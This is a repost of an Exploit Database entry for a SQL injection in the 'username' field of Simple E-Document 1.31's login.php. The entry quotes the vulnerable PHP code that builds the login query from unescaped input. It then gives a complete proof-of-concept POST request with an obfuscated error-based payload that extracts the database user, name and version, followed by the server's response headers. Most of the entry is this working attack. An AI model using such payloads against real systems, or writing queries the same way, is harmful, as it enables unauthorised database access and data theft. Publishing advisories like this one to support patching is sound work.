Simple E-Document 1.31 – ‘username’ SQL Injection

• Exploit Database
• 20 阅读

• 作者： Ihsan Sencan
  日期： 2018-11-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45877/

• # Exploit Title: Simple E-Document 1.31 - 'username' SQL Injection
  # Dork: N/A
  # Date: 2018-11-14
  # Exploit Author: Ihsan Sencan
  # Vendor Homepage: http://www.tecorange.com/index.php/download-free-open-source-software/79-simple-e-document-free-open-source-document-and-paper-m
  # Software Link: https://datapacket.dl.sourceforge.net/project/simplee-doc/simple_e_document_v_1_31.zip
  # Version: 1.31
  # Category: Webapps
  # Tested on: WiN7_x64/KaLiLinuX_x64
  # CVE: N/A
  
  # //[PATH]//login.php
  # ....
  #10 if(!isset($_POST['op'])) $_POST['op']='';
  #11 if(!isset($_POST['username'])) $_POST['username']='';
  #12 if(!isset($_POST['password'])) $_POST['password']='';
  #13 if(!isset($op)) $op='';
  #14 
  #15 $op = $_POST['op'];
  #16 $username= stripslashes($_POST['username']);
  #17 $password= stripslashes($_POST['password']);
  #18 $r_password = md5($password);
  #19 
  #20 $sql = "SELECT * From edocphp_users WHERE username='$username' AND password ='$r_password'";
  # ....
  
  # POC: 
  # 1) 
  # http://localhost/[PATH]/login.php
  # 
  POST /PATH/login.php HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 267
  username=12'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'
  HTTP/1.1 200 OK
  Date: Wed, 14 Nov 2018 07:44:24 GMT
  Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
  X-Powered-By: PHP/5.6.30
  Content-Length: 241
  Keep-Alive: timeout=5, max=97
  Connection: Keep-Alive
  Content-Type: text/html; charset=UTF-8